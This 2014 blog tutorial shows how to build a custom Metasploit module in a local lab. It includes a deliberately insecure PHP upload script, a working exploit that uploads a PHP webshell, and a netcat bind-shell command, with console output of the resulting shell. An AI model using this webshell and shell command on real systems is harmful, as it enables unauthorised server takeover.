Tuesday 30 December 2014

[EN] Your own modules for Metasploit

Sometimes during penetration tests we are using tools like Metasploit.
Last time I had a moment to check this more carefully.

I was wondering how can I automate exploitation process of vulnerabilities found in the past. One idea was to use MSF.

After docs:
to start using 'your own modules' (or external), you need to prepare your system a little bit.
I was using kali-1.0.7 with vmplayer. There I was using apache2 + PHP.

First of all we will create a vulnerable webapplication. This simple bug will be related to "upload vulnerability" (so our MSF module should upload webshell to target host).

Let's create 2 directories:
mkdir /var/www/upload
mkdir /var/www/upload/foto


Next, we need to change permissions of our 'foto' directory, to 777.
Next step will be creating an upload.php file in '/upload/' direcory.
(Code is borrowed from one tutorial found somewhere on the internet).

---<upload.php>---
root@kali:/var/www/upload# cat upload.php
<?php
$max_rozmiar = 1024*1024;
if (is_uploaded_file($_FILES['plik']['tmp_name'])) {
    if ($_FILES['plik']['size'] > $max_rozmiar) {
        echo 'Blad! Plik jest za duzy!';
    } else {
        echo 'Odebrano plik. Poczatkoowa nazwa: '.$_FILES['plik']['name'];
        echo '<br/>';
        if (isset($_FILES['plik']['type'])) {
            echo 'Typ: '.$_FILES['plik']['type'].'<br/>';
        }
        move_uploaded_file($_FILES['plik']['tmp_name'],
                $_SERVER['DOCUMENT_ROOT'].'/upload/foto/'.$_FILES['plik']['name']);
    }
} else {
   echo 'Blad przy przesylaniu danych!';
}

?>
root@kali:/var/www/upload#
---<upload.php>---
When we have all (vulnerable) files (and dirs) prepared, we can start configuring our 'msf environment'. Let's back to the docs:

---<doc>---*  Mirror the "real" Metasploit module paths
mkdir -p $HOME/.msf4/modules/exploit

*  Create an appropriate category # for our example we don't need it now ;)
mkdir -p $HOME/.msf4/modules/exploits/windows/fileformat

*  Create the module
...# we will get to it ;)

*  Test it all out
mkdir -p $HOME/.msf4/modules/exploits/test
curl -Lo ~/.msf4/modules/exploits/test/test_module.rb http://yours/test_module.rb

* reload msf
msf > reload_all

* use your code
msf > use exploit/test/test_module
msf exploit(test_module) > info 
---<doc>---

Now, when our local OS is prepared and ready to use, we can move on to creating our simple module:

---<upload_check.rb>---

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::HTTP::Wordpress
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Super cool shell upload',
      'Description'    => %q{
                This is super cool module for Metasploit to check if you can upload shell on target.
      },
      'Author'         =>
        [
          'HauntIT Blog'     # metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'URL', 'http://HauntIT.blogspot.com']
        ],
      'Privileged'     => false,
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        => [ ['Any vulnerable upload ', {}] ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '28/12/2014'))
  end


  def check
    readurl = normalize_uri(target_uri.path, 'upload','upload.php')
    res = send_request_cgi({
      'uri'    => readurl,
      'method' => 'GET'
    })

    if res.code != 200
      return Msf::Exploit::CheckCode::Unknown
    end

    return Msf::Exploit::CheckCode::Safe
  end

  def exploit
    payload_name = "#{rand_text_alpha(10)}.php"

    shell = "<?php echo '<pre>';$c=$_GET['c'];shell_exec($c);?>"

    uri = normalize_uri(target_uri.path, 'upload','upload.php')

    data = Rex::MIME::Message.new
    data.add_part(shell, 'application/octet-stream', 'binary', "form-data; name=\"plik\"; filename=\"#{payload_name}\"")


    post_data = data.to_s

    payload_uri = normalize_uri(target_uri.path, 'upload','foto', payload_name)

    print_status("#{peer} - Uploading payload to #{payload_uri}")
    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => uri,
      'ctype'    => "multipart/form-data; boundary=#{data.bound}",
      'vars_post' => { 'plik' => '#{payload_name}' },
      'data'     => post_data
    })

    if res.code != 200 || res.body =~ /Blad/
      fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
    else
      print_status("Got shell ;>")
    end

    print_status("#{peer} - Executing payload #{payload_uri}")
    res = send_request_cgi({
      'uri'    => payload_uri,
      'method' => 'GET',
      'vars_get' => {'c' => 'id;nc -lvvp 4445 -e /bin/sh &'}
    })


  end
end

---<upload_check.rb>---
(Pastebin version is here.)

Now it's time to step "Test it all out", so let's upload our new module to ~/.msf4 directory and type reload_all in msfconsole. To get to our module, we need to type:

---<console>---
msf>  use exploit/test/upload_check

---<console>---

Exploitation should be:

---<sploit>---
msf exploit(upload_check) > exploit
[*] Started reverse handler on 192.168.108.133:4444
[*] 192.168.108.133:80 - Uploading payload to /upload/foto/UXpCFrWwkW.php
[*] Got shell ;>
[*] 192.168.108.133:80 - Executing payload /upload/foto/UXpCFrWwkW.php
---<sploit>---
 

 Now in second console, we will connect to attacked host:

---<console>---
root@kali:/var/www/upload# netstat -antp | grep 444
tcp        0      0 0.0.0.0:4445            0.0.0.0:*               LISTEN      21563/nc
root@kali:/var/www/upload#
root@kali:/var/www/upload# telnet 192.168.108.133 4445
Trying 192.168.108.133...
Connected to 192.168.108.133.
Escape character is '^]'.
whoami;id
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
(...)
---<console>---


And that's all. ;)

Questions / ideas / comments?

Good luck with creating your own modules!


2 comments:

  1. you could just use shell = payload.encoded instead of using a hardcoded PHP shell.

    Regards,
    Jay Turla

    ReplyDelete

What do You think...?